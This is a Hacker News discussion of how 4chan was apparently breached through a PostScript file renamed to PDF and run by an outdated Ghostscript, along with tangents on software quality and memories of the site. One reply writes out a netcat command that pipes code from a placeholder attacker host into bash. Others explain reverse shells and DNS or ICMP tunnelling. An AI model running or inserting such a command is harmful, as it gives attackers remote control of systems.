| throwanem wrote:
| Seems complicated. IBIS would be nice to have, but the
| two stops or so I get from my lenses' stabilizers usually
| works out to be enough.
| bayindirh wrote:
| Actually, there's a distinct level up in camera sensors
| starting with Sony A7-III and onward (incl. Fuji, Canon,
| Nikon). Having IBIS with a standard lens (like 28/2)
| allows you to take unbelievable shots at dusk and night.
|
| Moreover if you have a stabilized lens, they work in
| tandem to improve things even further.
|
| Many shots you think which would gonna be blurry comes
| out perfect. e.g.: https://www.flickr.com/photos/zerocode
| r/49047642802/in/photo...
| throwanem wrote:
| That's quite good for handheld at 1/30. I could imagine
| you wouldn't need to hold your breath or consider your
| stance and motion at all.
|
| I don't really use Flickr and a new personal website
| remains as yet on my list for this year, but here's
| something from back in 2020, one of the few really good
| shots I got that year: https://web.archive.org/web/202305
| 13030226/https://aaron-m.c...
|
| Not the soul of technical perfection, I freely grant, and
| I'm obviously adding a fair bit of light. But this was
| the second or third time I'd strayed even as far as my
| own backyard, after a covid dose earlier in the year had
| me knocked back for a few months. I suppose it could be
| sharper, but I had a hard time catching my breath that
| day, and I'm not actually sorry that a little human
| frailty should show through in a work where impending
| death and the onset of life are quite literally belly to
| belly.
|
| In any case, it was really switch-to-shutter lag I was
| curious about. Three seconds there would be an eternity,
| so I appreciate knowing that's not the case.
| teslabox wrote:
| Apparently the low light performance of the full-frame
| Sonys is a combination of IBIS (mechanical in-body image
| stabilization) and Back-Side Illuminated (BSI) sensors.
| The Sony A6600 (APC) has IBIS, the A6700 adds BSI. Other
| camera manufacturers also offer BSI sensors.
|
| https://en.wikipedia.org/wiki/Back-illuminated_sensor
| throwanem wrote:
| Oh, my D850 has one of those. It does perform very well
| in low light, but those extra stops of dynamic range in
| my view count most when they're yielding more contrast in
| an adequately lit scene - admittedly a privilege, and one
| I can more often afford myself with the kind of shots I
| like to take. I do print my work, though, and there's
| nothing else like that to show the limits of even a very
| good display.
| whstl wrote:
| This reminds me of the (possibly apocryphal) story where
| traffic engineers design pedestrian-heavy intersections
| without traffic lights because it makes drivers more
| careful.
|
| We now have sloppy software simply because we can update
| bugs later.
|
| This is a purely social problem that won't get solved
| with technology.
| pglevy wrote:
| I think about this daily.
| _DeadFred_ wrote:
| Forget cars, imagine if we treated government systems that
| millions of people's entire medical
| care/retirement/lives/national security/secrets/proof of
| existence depend upon this way? Luckily we treat those
| systems a little more seriously even though it costs us a
| little bit more/doesn't allow us to move fast and break
| things in that space.
| fransje26 wrote:
| You forgot the /s.
|
| https://www.npr.org/2025/04/15/nx-s1-5355896/doge-nlrb-
| elon-...
| chasd00 wrote:
| Government software of those types are some of the worst
| on the planet.
| vanschelven wrote:
| Reminds me of Bill Gates & GM (apparently discredited
| though)
|
| https://www.snopes.com/fact-check/car-balk/
| fransje26 wrote:
| Old, but gold!
| axus wrote:
| 7. Oil, water temperature and alternator warning lights
| would be replaced by a single 'general car default'
| warning light. ...
|
| 10. Occasionally, for no reason, your car would lock you
| out and refuse to let you in until you simultaneously
| lifted the door handle, turned the key, and grabbed the
| radio antenna.
|
| 11. GM would require all car buyers to also purchase a
| deluxe set of road maps from Rand-McNally (a subsidiary
| of GM), even though they neither need them nor want them.
| Trying to delete this option would immediately cause the
| car's performance to diminish by 50 per cent or more.
| Moreover, GM would become a target for investigation by
| the Justice Department. ...
|
| 13. You would press the 'start' button to shut off the
| engine.
| celeryd wrote:
| Prophetic
| fransje26 wrote:
| > It's a wonder anything actually even works.
|
| > If cars were made like this, there would be millions of
| them breaking down by the side of the road daily.
|
| Next to the software side of things, I also often wonder
| about planes. But, until now, they have proved fairly
| resilient to falling out of the sky, except for the well
| known "recent" events. Which is fairly surprising, knowing
| the levels of mismanagement at play. We've been lucky..
| bibabaloo wrote:
| Planes have just as much spaghetti code as anything else,
| the only difference is that it's extremely well tested
| (functionally) and verified spaghetti code.
| cudder wrote:
| It's not hard to imagine there would be even more than in
| less verified fields, since if you try to clean it up you
| need to verify it again too.
| mr_toad wrote:
| From talking to someone in the industry TDD seems to be a
| popular methodology.
| DougN7 wrote:
| Funny anecdote - I was flying through Minneapolis and the
| passengers on a plane about to depart had to get back off
| the plane so it could be rebooted. It takes 20 minutes to
| power down to zero and 20 minutes to boot back up. The
| gate agent said it was a known touchy computer on that
| plane - I was wondering if that was true.
| toofy wrote:
| > Everything seems to be hastily thrown together features
| that barely work and piles of debt that will never get
| fixed.
|
| _move fast and break things_ is going to be studied in the
| future as a hilariously clusterfuk misuse of an idea.
| infintropy wrote:
| It's hard to appreciate that there is a vast difference
| between hitting walls in a tank and not caring about the
| exterior, and slamming into a wall on a bicycle.
| mschuster91 wrote:
| > If cars (the non-software parts) were made like this,
| there would be millions of them breaking down by the side
| of the road daily.
|
| Well, cars _did_ break down by the side of the road daily!
| That 's why it used to be good advice even in the 90s to
| always have a basic set of tools in your trunk, why AAA
| offered roadside assistance already in 1915, and why part
| of the European CDL is enough basic mechanic knowledge to
| self-help when the truck breaks down.
|
| It's only in the last 20-ish years that "smarts" became
| cheap and ubiquitous enough in cars that the car can warn
| preemptively. And additionally, regulatory requirements on
| quality, parts availability and public expectations went
| up, exerting competitive pressure.
| lazystar wrote:
| as someone who had to upgrade a stack from php 5.3 to 7.1
| back in 2019... do you know what version of php they were
| running?
| s3krit wrote:
| Based on one of the comments in the leaked source, at least
| php 6, though no idea what specific version:
|
| > // In PHP 6 this... doesn't seem to do anything? Let's
| try again in 7.
| lobsterthief wrote:
| PHP 6 was never released ;) Got stuck in development hell
| and they went straight to 7.
| s3krit wrote:
| Oh interesting, thanks! Which makes that comment in the
| code even more confusing
| qingcharles wrote:
| This is such a common hole. One of my early hacks was a forum
| that allowed you to upload a pfp but didn't check it was
| actually an image. Just upload an ASP file which is coded to
| provide an explorer-like interface. Found the administrator
| password in a text file. It was "internet" just like that. RDP
| was open. This was a hosting provider for 4000+ companies. Sent
| them an email. No thank you for that one.
|
| Always check what is getting uploaded.
| Arch-TK wrote:
| Uploading ASP as an image and having it execute server side
| is one thing.
|
| But in this case, it's subtly different.
|
| This issue relies more on a quirk of how PDF and PostScript
| relate (PDF is built on a subset of postscript).
|
| Imagine you had an image format which was just C which when
| compiled and ran produced the width, height, and then stream
| of RGB values to form an image. And you formalised this such
| that it had to have a specific structure so that if someone
| wanted to, they didn't have to write a C compiler, they could
| just pull out the key bits from this file which looks like
| ordinary C and produce the same result.
|
| Now imagine that your website supports uploading such image
| files, and you need to render them to produce a thumbnail,
| but instead of using a minimal implementation of the standard
| which doesn't need to compile the code, you go ahead and just
| run gcc on it and run the output.
|
| That's kind of more or less what happened here.
|
| It's worth noting here that it's not really common knowledge
| that PDF is basically just a subset of postscript. So it's
| actually a bit less surprising that these guys fell for this,
| as it's as if C had become some weird language nobody talks
| about, and GCC became known as "that tool to wrangle that
| image format" rather than a general purpose C compiler.
|
| The attackers in this case relied on some ghostscript
| exploits, that's true, but if you never ran the resulting
| C-image-format binaries, you could still get pwned through
| GCC exploits.
| mkl wrote:
| > it's not really common knowledge that PDF is basically
| just a subset of postscript.
|
| Because that's not actually true? Check out the table in
| the PDF specification, Appendix A, p985, listing all the
| PDF operators and their totally different PostScript
| equivalents, when there are any:
| https://opensource.adobe.com/dc-acrobat-sdk-
| docs/pdfstandard...
|
| The PDF imaging model is mostly borrowed from PostScript,
| though PDF's imaging model also supports partial
| transparency. The actual files themselves are totally
| different.
|
| In this case, no PDF files were involved at all, but a
| PostScript file renamed to .pdf, which was used to exploit
| an old insecure GhostScript's PostScript execution engine
| (PostScript is a programming language, unlike PDF) or maybe
| parser:
|
| > According to S0I1337, it was done by exploiting a
| vulnerability on 4chan's outdated GhostScript version from
| 2012 by uploading a malformed PostScript file renamed to
| PDF to gain arbitrary code execution as 4chan didn't check
| if files with PDF extensions were actually PDF files --
| https://wiki.soyjak.st/Great_Cuckset, see also the image in
| A_D_E_P_T's comment
| https://news.ycombinator.com/item?id=43699395
| Arch-TK wrote:
| Key word: "basically"
|
| Read section 2.4 of the PDF you linked for a bit of
| additional information on this "bsaically".
|
| GhostScript is a postscript interpreter which can handle
| PDF files by applying the relatively simple
| transformations described in that section of the PDF.
| Whether they embedded the ghostscript exploit within the
| PDF, or didn't, it's not particularly important for
| making my point.
| mkl wrote:
| That seems like saying "Python is basically a subset of
| C; just run the simple transformations Cython
| implements". PDF can be transformed into something a
| PostScript interpreter can understand in the same way
| Python can be transformed into something GCC can
| understand. That is not what "subset" means.
| Arch-TK wrote:
| ... did you read the bit of the PDF I referenced?
| mkl wrote:
| Yes. The section itself says PDF differs significantly
| from PostScript. The required changes detailed there to
| transform a PDF to PostScript are substantial: add
| PostScript implementations of the PDF operators; extract
| and translate the page content, changing the operator
| names, decompressing and recompressing text, graphics,
| and image data, and deleting PDF-only content; translate
| and insert font data; reorder the content into page
| order. What you end up with is very different - PDF is
| not basically just a subset of PostScript.
| Arch-TK wrote:
| The substantial differences are in terms of restrictions
| to postscript to reduce it to a declarative language
| rather than a full fledged programming language.
|
| A PDF is a collection of isolated, restricted postscript
| programs (content streams) and the data required for
| rendering stuffed into one file. The overarching format
| is a subset of COS. But for all intents and purposes you
| can imagine this as a tarball containing postscript and
| other data.
|
| The transformations required to go from PDF to postscript
| amount to:
|
| 1. Include some boilerplate
|
| 2. Pull out the content streams (postscript bits)
| ignoring the pdf-specific extensions
|
| 3. Search and replace the names of two procedures
|
| 4. Pull out the data required for rendering, optionally
| decompressing it if your postscript output doesn't
| support the particular compression in use
|
| 5. Concatenate all the data in the right order (on the
| basis of some metadata in the format)
|
| 6. It's now just normal postscript
| 256_ wrote:
| You basically just described the XPM format.
| Hexaform wrote:
| Your writing reminds me of a Tom Scott video.
| mr_mitm wrote:
| These were fun times. I've been working as a pentester for
| the past ten years, and the job got a lot harder, with
| everything using frameworks and containerization.
|
| We still get plenty of results, because the tooling also gets
| better, and finding just one vulnerability is enough to be
| devastating, which makes it kind of frustrating. There is
| tons of progress, but much of it is just not paying
| dividends.
| Funes- wrote:
| Reminds me of how people were crashing the PSP's XMB with BMP
| and TIFF files twenty years ago. I was just a kid, and began
| "pirating" every one of my classmates' consoles (some in
| exchange for a small amount of money). Good times.
| GlumWoodpecker wrote:
| The `Memory Pit` exploit for the Nintendo DSi works in a
| similar way - it exploits a buffer overflow in the reading of
| image meta data by the Nintendo DSi Camera application in
| order to achieve arbitrary code execution.
|
| https://dsibrew.org/wiki/Memory_Pit
| profmonocle wrote:
| When the first-gen iPhone was out there was a TIFF
| vulnerability so bad that you could jailbreak an iPhone just
| by visiting a specific web site. I remember going to Best Buy
| and seeing all of the display phones had been jailbroken. (It
| was easy to tell - this was before the App Store, so having
| extra app icons on the home screen wasn't normal.)
|
| This was a user-empowering application of the vulnerability.
| Obviously, a bug that allows root-level arbitrary code
| execution just by getting the user to load a single image
| could be used for some pretty bad stuff. (And perhaps was.)
| kfarr wrote:
| More recently there was an iOS 0-day GIF exploit requiring
| no user interaction:
| https://googleprojectzero.blogspot.com/2021/12/a-deep-
| dive-i...
| FMecha wrote:
| 4chan, ironically enough, had something similar where
| steganographic images were posted designed to be copied to
| Paint, saved as a bmp, renamed to an .hta file, and then
| executed. It would then spam the board with other variations
| of itself.
| rincebrain wrote:
| "Bannerbomb", on the Wii, has entered the thread.
|
| https://wiibrew.org/wiki/Bannerbomb
| jrochkind1 wrote:
| This is an old well known exploit.
|
| Don't run versions of ghostscript from 2012?
| profmonocle wrote:
| I would also say don't run ghostscript with the same
| permissions as the web server, especially not if you can just
| hand it your PDF through stdin and take a PNG through stdout.
| Sandbox it as much as possible. PDF is a really complex
| format which means lots of opportunities for buffer overruns
| and the like. (Edit: Actually, reading through Arch-TK's post
| above, it sounds like it was much dummer than something like
| a buffer overrun.)
| donnachangstein wrote:
| > Don't run versions of ghostscript from 2012?
|
| Per Wikipedia:
|
| _In February 2013, with version 9.07, Ghostscript changed
| its license from GPLv3 to GNU AGPL._
|
| With the AGPL license being legal kryptonite I wonder if
| license compatibility drove the decision (and how many other
| installations of Ghostscript share this concern)?
| duskwuff wrote:
| > With the AGPL license being legal kryptonite I wonder if
| license compatibility drove the decision
|
| Unlikely. There's a number of other strong indications that
| basic maintenance was being neglected, including shell
| transcripts showing that at least one server was running
| FreeBSD 10.1 (released in 2014, end-of-life in 2018), and
| PHP code using the mysql extension (which was deprecated in
| PHP 5.6 = 2014 and removed in PHP 7.0 = 2015).
|
| It's probably not a coincidence that 4chan was sold to a
| new owner in 2015.
| 1oooqooq wrote:
| uninformed or malicious FUD.
|
| agpl is no different than gpl if you're distributing
| applications. if you host the functionality of the
| application with improvements then it's rightly so
| cryptonite and you deserve it.
| anonfordays wrote:
| Sad to see less and less AGPL code out there. It's truly
| one if the best licenses to prevent the SV MO of taking
| shit they didn't make and selling it as if they did.
| mr_toad wrote:
| 4chan aren't modifying the Ghostscript code, why would they
| care about the license?
| easterncalculus wrote:
| Does this vuln have a CVE number, or other details? Just
| curious, since from the posts explaining things this doesn't
| seem to be based on memory corruption.
| karel-3d wrote:
| Newer Ghostscript versions are Affero GPL, that might be
| problem for some people, although probably not for 4chan
| (they don't modify it so it should be fine)
|
| (incidentally I am now working on compiling this old GPL
| ghostscript to webassembly with file isolation... it works
| fine... but the compilation is kind of annoying)
| casey2 wrote:
| Such a useless feature too. There was like 1 or 2 book sharing
| threads in sci in the last few years and 1 in arts and crafts
| and 99.9% of people don't even know about it and just use
| offsite hosts
| areyourllySorry wrote:
| eh, there's a lot of neat pdfs on the papercraft and origami
| board
| xattt wrote:
| > could give the attacker shell access.
|
| How do these exploits work? Does it open an SSH port somewhere
| or does it show up as a browser-based terminal?
| ryandrake wrote:
| This is a great question, one I've always wondered. "Shell
| access" typically requires a terminal to, you know, type
| stuff in, right?
| giantrobot wrote:
| You can crate a reverse shell with just netcat. On your
| victim machine, where you can run a command but not
| necessarily listen on a port you can run something like:
| nc attacker.ip 9000 | /bin/bash
|
| This will reach out to the attacker controlled machine and
| run an arbitrary payload hosted there. A simple payload
| would be opening a reverse shell to the attacker controlled
| machine from the victim. Because it's an outgoing
| connection it's less likely to be blocked by a firewall.
|
| The reverse shell gives you further access to the victim
| machine and can be entirely scripted. You can then use
| additional exploits for privilege elevation or just pilfer
| whatever you've got access to.
|
| Note this a super simple demonstration of the concept.
| ryandrake wrote:
| Thanks for the reply, that was just the level of
| explanation I was looking for. It wouldn't have even
| dawned on me to do it that way. I'm obviously not a
| security researcher.
| nwallin wrote:
| Usually the attacker, on their own computer, or some other
| server they have root on, will open a port and expose it to
| the internet and listen. The exploit payload will then make
| an outbound connection to that port. Once it's connected, the
| exploit will give the attacker's computer shell access.
| Search terms include 'reverse shell'.
|
| It takes the normal client/server architecture and turns it
| inside out. If you remember FTP and active vs passive, it
| works like active mode FTP.
|
| That's just one way to do it. If the attacker wants to
| actually listen on an open port on a compromised server
| that's behind a firewall, look up 'NAT traversal' for like
| half a dozen ways to do it.
|
| One interesting method to get a shell that I read about is
| (ab)using ICMP echo requests. ICMP echo requests can contain
| arbitrary bytes as a payload. So the exploit will poll the
| attacker's IP address with ICMP echo requests. The exploit
| will have data payloads that have the shell's output. The
| attacker's server will respond with ICMP echo requests that
| have whatever the attacker wants to type into the shell. It's
| kinda janky but it works. Lots of firewalls might block
| outbound UDP/TCP connections from internal servers that don't
| need to make outbound connections, or might whitelist the
| addresses they're allowed to connect to. But they won't block
| ICMP, either because it's considered harmless or they forgot
| or they didn't know it needs to be blocked separately with
| other rules.
|
| The point is there's any number of ways to do it, each more
| clever than the last.
| mr_mitm wrote:
| That's why it's a good idea to block connections of all
| protocols into address ranges where an attacker might be
| able to host a service. Even on internal networks, if you
| are a corporation.
|
| But it gets better than tunneling over ICMP: DNS tunneling.
| Pretty much all systems can talk to a DNS resolver. If it
| resolves arbitrary host names, you can set up a DNS for a
| zone you control and requests will end up there. With tools
| like iodine (requires root and a binary on the target), you
| can tunnel your traffic conveniently (and slowly).
| aaronmdjones wrote:
| I love iodine. When you're at a "free" wifi hotspot that
| needs an account (yet another company to take the
| security of your data so seriously that they upload it to
| an open S3 bucket), or you're on mobile data and out of
| credit, or whatever, iodine usually always works because
| as you say DNS is almost always allowed.
|
| It's only a dozen kbytes/sec or so, but this is more than
| good enough for RSS, email, IRC, HN, ...
| thifhi wrote:
| A shell's stdin and stdout can be redirected to a tcp socket
| which connects to the attacker. Here are some examples:
| https://www.invicti.com/learn/reverse-shell/
| lbotos wrote:
| https://blog.sucuri.net/2013/07/malware-hidden-inside-jpg-
| ex...
|
| Once you can run any command, you start passing in whatever
| commands you want.
| bouncycastle wrote:
| most likely "shell access" was confused with execution of
| "shellcode" which is a type of code, typically bytecode, that
| gets injected by the hacker and the server gets tricked into
| executing it. Once it's executed, it can do anything, leave
| new files, open ports, disable firewalls, change the admin
| password, etc
| treyd wrote:
| Shellcode is usually weirdly formed native machine code,
| typically written in a "return-oriented programming" style,
| that can be inserted with a buffer overflow and somehow
| jumped to. But usually not _bytecode_.
| wnevets wrote:
| > Ghostscript from 2012
|
| Has there been a single year since 2012 that didn't include a
| new ghostscript RCE? Exposing ghostscript to the internet is
| dangerous.
| skilbjo wrote:
| pretty interesting discovery if that was the hack.
|
| do you know what the legal implications are for this?
|
| if the company that owns 4chan finds the identity of the
| attacker, could they sue him in civil court? or do they send
| whatever logs they have to the FBI and the FBI would initiate a
| criminal prosecution? also what is the criminal act here? is it
| accessing their systems, or is it posting the data that they
| found "through unauthorised means" on a public channel like
| twitter? does the "computer fraud and abuse act" apply?
|
| like if you found this exploit, and sent it to the company in
| good faith (ie a "good hacker"), are you free from prosecution?
| and what is the grey area, like if you found this exploit and
| then just sat on it for a while (let's say you didn't report it
| to the company, but let's also say you didn't abuse it, ie leak
| private data to twitter)
| mmcwilliams wrote:
| Assuming US jurisdiction this would pretty clearly be at
| least one, probably many CFAA violations which are criminal.
| nailer wrote:
| > Apparently some boards allowed uploading PDF files
|
| Some boards used to allow PDF files to upload too.
| brundolf wrote:
| Periodic reminder that a PDF is a turing-complete script that
| generates a document and should be treated as foreign code
| kriro wrote:
| Fascinating, that has been the attack vector in a couple of
| hackthebox like systems I've done over the last couple of
| years. The easier ones usually just require file name changes,
| the medium ones intercepting and mimetype change.
| dwedge wrote:
| So the article blaming out of date PHP was off base?
| jofla_net wrote:
| Same or similar thing happened to Gitlab. it used some common
| parsing library that worked on images and perl scripts... you
| can see where this is going
| casey2 wrote:
| QA won? what the butt
| mikrl wrote:
| For all the sad words of tongue and pen, the saddest are these:
| "website running 15 year old software gets pwned again"
| A4ET8a8uTh0_v2 wrote:
| It truly is an end of an era. I popped in every so often to check
| the temperature and was rarely disappointed by the level of crazy
| pervading it. Amusingly, despite it having such a massive
| influence on internet as a whole including its lingo and memes,
| my wife did not even knew about it existed until today.
|
| I do not think it will be missed by many, but that kind of hole
| does not exactly disappear without a trace.
| Loughla wrote:
| After leaving when it got too shitty, I would go back once a
| year or so to check the racism in pol, see if maybe b was back
| to doing things instead of just porn, and read the plainly
| undiagnosed schizophrenia on the paranormal board.
|
| Like you said, not a lot of people in my life have any idea
| what it is, but it does hold a special place in my heart. It
| started when I was trying to establish my own personality, and
| it provided me with a safe avenue to try out different "me's".
| perdomon wrote:
| Has Fireship made a video about this yet? I bet we'll see one
| tomorrow.
| doctorshady wrote:
| It looks like it's back up - sort of. Loading very slowly,
| anyway. After a compromise like this, I'm a little surprised.
| ggm wrote:
| Is there anyone doing something akin to the data analytics which
| happened for the Panama Papers?
|
| I appreciate this has overtones of doxxing. I am not asking for
| "the list" but more if there is an intent to tie up some loose
| ends about influence relating mainly to /pol/
| Uptrenda wrote:
| Watching hacker news try use cold analytical intellect to
| deconstruct 4chan's jokes and culture (and still missing the
| point) has got to be the funniest joke ever. Perhaps a little
| more analysis will yield the answer to understanding the
| complexity of a green frog or running bear. Though I wouldn't
| count on it. It has to mean something nefarious. Much like the
| soft 'schlop schlop schlop' of a dog's tongue lapping up water --
| its meaning to us is a mystery.
| Loughla wrote:
| From what I can tell, there's not much analysis of 4chan going
| on here, but more people just sort of remembering their time on
| the site.
|
| That's what this has been for me; a walk down memory Lane to my
| teenage edgelord years.
| EcommerceFlow wrote:
| /lit/ is a goldmine, I've discovered so many amazing books there.
| Everywhere else on the web is algorithm or voting skewed so no
| real opinions can be shared
| a_bonobo wrote:
| I agree, I'd even go so far and say it's one of the best places
| on the internet to discuss 'serious' books (within all the
| rampant troll posts). Book discussions on reddit are far too
| positive when it comes to terrible books, /lit/ will call a bad
| book a bad book. Plus there was always an undercurrent in
| interest in 'obscure' books - there are great reading charts
| out there for all kinds of literatures and languages made by
| /lit/ users.
| weberer wrote:
| They even wrote their own book collaboratively
|
| https://www.goodreads.com/book/show/28282177-hypersphere
| coolKid721 wrote:
| https://www.newstatesman.com/culture/2025/01/how-4chan-becam...
| HaZeust wrote:
| There are, of course, many people with memories of 4chan that
| precede that of mine (oldf*) - I could only even articulate what
| I was seeing on 4chan at the age I was around 2014. But by 2015 -
| with only 1-2 years of experience on the site - I noticed a
| drastic downturn of the authenticity in posts and comments that I
| was used to. Then, I saw quality of topics and speaking points go
| down in 2020. And finally, I saw the social fabric of 4chan
| itself go down essentially right after Omegle was shut down. By
| mid-2024, I couldn't even trust it for contrarian or less-
| conventional (or, frankly, brutally honest) viewpoints of topics
| they purported to care about.
|
| And honestly, as things got better in my life and I went out to
| be more recreational, I went from going on 4chan once a day - to
| once a week - to once a month - and finally, to only when I
| wanted to see edgy takes on divisive current events.
|
| I'll miss all that, despite all it lost over the years. And I'll
| miss the element of design and mannerisms in its userbase. It
| required an upfront investment to even understand how to engage
| with, and a "lurk moar" attitude. RIP.
|
| Edit: It was also very crazy watching small groups of people turn
| insider-jargon into mainstream terminology. I'll also never
| forget watching the thread of QAnon's conception in real-time.
| Crazy stuff originated there - both in substance and meaning.
| Loughla wrote:
| I was on there almost from the beginning. Early 2004.
|
| It was never good, but it definitely went entirely to shit when
| all the alt-right nut bags started flooding the site with
| nonsense starting around 2014-15. I have to believe it was a
| coordinated effort, it just seemed too immediate across the
| entire site.
| zeofig wrote:
| I hope it comes back. Although I don't agree with a lot of what's
| on there, it's one of the only places you can find hot, fresh,
| (mostly) uncensored, and unalgorithmed content.
| 127 wrote:
| I left 4chin by the time it became impossible to dodge
| pedophiles, room temperature IQ and absolute lowest tier trash.
| It used to be fun to hunt for quality content, but it seems
| nobody of value visits that site anymore.
| praptak wrote:
| 4chan was never known for high security, early versions were
| pretty close to pasting raw user input into HTML, which was
| eagerly used by griefers, for example by pasting right-to-left
| unicode overrides in their comments which was enough to spill to
| the whole page.
| plumbus wrote:
| This is some vBulletin software jankness
| Havoc wrote:
| 4chan sized site that gets attention from all sorts of unique
| people...ran ancient php? Ouch
| gaiagraphia wrote:
| Makes you wonder what all these 'advanced frameworks' have
| actually offered the internet..
|
| (hard mode: don't mention advertising)
| lenerdenator wrote:
| Running a site like 4chan on outdated software is not just a
| choice, but one of the choices of all time.
|
| Really, it was gonna happen one of these days.
| RKFADU_UOFCCLEL wrote:
| Incidentally, KYM website is an original dinosaur like PHP, both
| loaded full of invalid / cargo cult practices, such as blocking
| proxy users from reading their (mostly read-only) website.
| Guessing it's bloated garbage made by some kid and this is part
| of the reason.
| smeeger wrote:
| 4chan has been completely dead for almost ten years and i dont
| understand why anyone talks about it still.
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